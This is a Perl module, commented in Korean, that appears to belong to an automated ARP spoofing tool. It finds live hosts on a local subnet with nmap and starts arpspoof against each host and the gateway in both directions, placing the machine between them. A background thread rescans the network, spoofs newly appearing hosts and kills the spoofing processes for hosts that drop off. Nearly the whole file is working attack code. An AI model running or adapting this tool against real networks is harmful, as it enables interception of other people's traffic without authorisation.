package _Option;

sub who_are_you(){
	chomp(my $who_am_i_result = `whoami`);
	return $who_am_i_result;
}

#설정 된 Network Address로 특정 네트워크 대역에 살아있는 호스트를 검색한다
sub get_alive_hosts_ips_macs($$$$){
	my $interface_addr = $_[0];
	my $network_address_addr = $_[1];
	my $host_ips_addr = $_[2];
	my $host_macs_addr = $_[3];

	#nmap이 설치되어 있는지 확인한다.
	$error_check_var = `nmap 2>&1`;
	return -5 if(_Error::error_check(-5,\$error_check_var));

	#살아있는 호스트의 아이피와 맥주소를 각각의 배열에 정리한다.
	$nmap_msg = `nmap -sP -PR -e $$interface_addr $$network_address_addr`;
	@$host_ips_addr = $nmap_msg =~ /Host (\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}) /gm;
	@$host_macs_addr = $nmap_msg =~ /MAC Address: (\w{2}:\w{2}:\w{2}:\w{2}:\w{2}:\w{2}) /gm;
	return 0;
}

#살아있는 호스트들을 출력하는 함수
sub print_alive_host($$$){
	my $host_ips_addr = $_[0];
	my $host_macs_addr = $_[1];
	my $option_string_addr;
	if($$option_string_addr =~ /--print-alive-host/){
		my $index = ($#$host_ips_addr + $#$host_macs_addr)/2;
		print "\nHOST_IP					HOST_MAC\n";
		foreach my $element (0..$index){
			print "$$host_ips_addr[$element]				$$host_macs_addr[$element] \n";
		}
	}
	return 0;
}

#arpspoofing을 시작한다.
sub initiate_arpspoofing($$$$){
	my $interface_addr = $_[0];
	my $option_string_addr = $_[1];
	my $ARGV_addr = $_[2];
	my $host_ips_addr = $_[3];

	my @range;
	my $index = 0;
	if($$option_string_addr =~ /--range/){
		for($index=0;$index<=$#$ARGV_addr-2;$index++){
			if($$ARGV_addr[$index] =~ "--range"){
				$range[0] = $$ARGV_addr[$index+1];
				$range[1] = $$ARGV_addr[$index+2];
				if(_Error::error_check(-6,\@range)){ return -6; }
			}
		}
	}else{
		my ($ip_part) = `ifconfig $$interface_addr` =~ /inet addr:(\d{1,3}.\d{1,3}.\d{1,3}.)\d{1,3} /;
		@range = ("$ip_part"."1","$ip_part"."255");
	}
	my ($my_ip) = `ifconfig $$interface_addr` =~ /inet addr:(\d{1,3}.\d{1,3}.\d{1,3}.\d{1,3}) /;
	my ($gateway) = `route` =~ /^default\s+([0-9.]+)\s+/m;

	$range[0] =~ s/\.//g;
	$range[1] =~ s/\.//g;
	
	my $dulicated_ip_of_target;
	for($index=0;$index<=$#$host_ips_addr;$index++){
		if(!($$host_ips_addr[$index] eq $gateway || $$host_ips_addr[$index] eq $my_ip)){
			$duplicated_ip_of_target = $$host_ips_addr[$index];
			$duplicated_ip_of_target =~ s/\.//g;
			if($range[0] <= $duplicated_ip_of_target && $duplicated_ip_of_target <= $range[1]){
				if($$option_string_addr !~ /--only-ap/){
					system "arpspoof -i $$interface_addr -t $$host_ips_addr[$index] $gateway 2>/dev/null &";
				}
				if($$option_string_addr !~ /--only-clients/){
					system "arpspoof -i $$interface_addr -t $gateway $$host_ips_addr[$index] 2>/dev/null &";
				}
			}
		}
	}
	return 0;
}

sub give_user_a_shell($$$$$){
	my $interface_addr = $_[0];
	my $network_address_addr = $_[1];
	my $option_string_addr = $_[2];	
	my $ARGV_addr = $_[3];
	my $host_ips_addr = $_[4];

	my $can_use_thread = eval 'use threads; 1;';

	if($can_use_thread && ($$option_string_addr !~ /--no-thread/)){
		my $thr = 0;
		$thr = threads->create('update_arpspoofing_list',$interface_addr,$network_address_addr,$option_string_addr,$ARGV_addr,$host_ips_addr);
		my $shell = `cat /etc/passwd | egrep root | gawk --field-separator=':' '{ print \$7 }'`;
		chomp($shell);
		system "$shell";
		$thr->kill('KILL')->detach();
	}else{
		print "\'exit\' to kill process \n";
		my $key = 0;
		while(1){
			chomp($key = <>);
			if($key eq 'exit'){ last; }
			else{
				system "clear";
				print "bad key : $key \n";
				print "\'exit\' to kill process \n";
			}
		}
	}
	return 0;
}


#현재 백그라운드로 실행되고 있는 arpspoof명령어의 pid값을 읽어온다.
sub get_on_going_arpspoofing_pids($){
	my $pids_addr = $_[0];
	my $psed_msg = `ps -ef | egrep arpspoof`;

	###################################################################################################
	#root@localhost:/root# ps -ef | egrep arpspoof															  		  #
	#process_owner PID																										  #
	#root			 3864  2511  0 23:43 pts/0	 00:00:00 egrep --color=auto arpspoof							  #
	#root			 3861  3624  0 23:43 pts/2	 00:00:00 arpspoof -i eth0 -t 192.168.0.30 192.168.0.1 	  #
	###################################################################################################

	@regexed_msgs = $psed_msg =~ /^root\s+(\d+).+?\d{1,3}.\d{1,3}.\d{1,3}.\d{1,3}\s+\d{1,3}.\d{1,3}.\d{1,3}.\d{1,3}$/gm;
	@$pids_addr = @regexed_msgs;
}

#get_on_going_arpspoofing_pids함수로 읽어온 모든 pid값에 KILL시그널을 보내 프로세스를 종료한다.
sub kill_on_going_arpspoofing(){
	my @pids;
	get_on_going_arpspoofing_pids(\@pids);
	my $dead_or_not = 0;
	my $error_check = 0;
	my $index = 0;
	foreach $index (0..$#pids){
		$dead_or_not = `kill -KILL $pids[$index] 2>&1`;
		if($dead_or_not =~ /No such process/){
			print "PID not correct \n";
			$error_check = 1;
		}else{
			print "process id : $pids[$index]	killed \n";
		}
	}
	if($error_check != 0){
		print "killing process error, check \'ps -ef | egrep arpspoof \' \n";
		print "to see if there are/is still on going arpspoofing \n";
	}
	return 0;
}

sub update_arpspoofing_list($$$$){
	$SIG{'KILL'} = sub { threads->exit(); };

	my $interface_addr = $_[0];
	my $network_address_addr = $_[1];
	my $option_string_addr = $_[2];
	my $ARGV_addr = $_[3];
	my $host_ips_addr = $_[4];

	my @old_ip_table = @$host_ips_addr;

	my ($my_ip) = `ifconfig $$interface_addr 2>/dev/null` =~ /inet addr:(\d{1,3}.\d{1,3}.\d{1,3}.\d{1,3}) /;
	my ($gateway) = `route 2>/dev/null` =~ /^default\s+([0-9.]+)\s+/m;

	while(1){
		my $nmap_msg = `nmap -sP -PR -e $$interface_addr $$network_address_addr 2>/dev/null`;
		my @new_ip_table = $nmap_msg =~ /Host (\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}) /gm;

		my (@host_up,@host_down,@host_down_pids);

#새로운 호스트를 구하는 부분
		my $up_down_check=0;
		for(my $i_index=0;$i_index<=$#new_ip_table;$i_index++){
			$up_down_check = 0;
			for(my $j_index=0;$j_index<=$#old_ip_table;$j_index++){
				if("$new_ip_table[$i_index]" =~ "$old_ip_table[$j_index]"){
					$up_down_check = 1;
				}
			}
			if($up_down_check == 0){
				push @host_up,$new_ip_table[$i_index];
			}
		}

#없어진 호스트를 구하는 부분
		my $up_down_check = 0;
		my (@old_ips,@old_pids);

		$psed_msg = `ps -ef | egrep arpspoof`;
		@old_ips = $psed_msg =~ /^root\s+\d+.+?(\d{1,3}.\d{1,3}.\d{1,3}.\d{1,3})\s+\d{1,3}.\d{1,3}.\d{1,3}.\d{1,3}$/gm;
		
		#죽은 호스트들에 대해 시행되고 있는 arpspoof의 IP를 뽑는다.
		for($i_index=0;$i_index<=$#old_ips;$i_index++){
			$up_down_check = 0;
			for($j_index=0;$j_index<=$#new_ip_table;$j_index++){
				if("$old_ips[$i_index]" =~ "$new_ip_table[$j_index]"){
					$up_down_check = 1;
				}
			}
			if($up_down_check == 0){
				push @host_down,$old_ips[$i_index];
			}
		}
		#필요한 코드이지만 주석으로 설명이 불가능함...
		for($i_index=0;$i_index<=$#host_down;$i_index++){
			if($host_down[$i_index] =~ $gateway){
				splice @host_down,$i_index,1;
			}
		}
		#알아온 IP를 사용하여 해당 IP에 관련된 arpspoofing의 PID를 뽑는다.
		my ($one_ip,@pids);
		foreach $one_ip (@host_down){
			@pids = $psed_msg =~ /^root\s+(\d+).+$one_ip/gmo;
			push @host_down_pids,@pids;
		}

		#새로운 호스트에 arpspoofing을 시행하거나
		if(!($up_host =~ $gateway || $up_host =~ $my_ip)){
			initiate_arpspoofing($interface_addr,$option_string_addr,$ARGV_addr,\@host_up);
		}	
		#죽은 호스트에 대한 arpspoofing을 멈춘다.
		my $down_host_pid;
		foreach $down_host_pid (@host_down_pids){
			`kill -KILL $down_host_pid 2>&1`;
		}
		@old_ip_table = @new_ip_table;
#		print "old = \n"."@old_ip_table \n";
#		print "new = \n"."@new_ip_table \n";
	}
}

1;
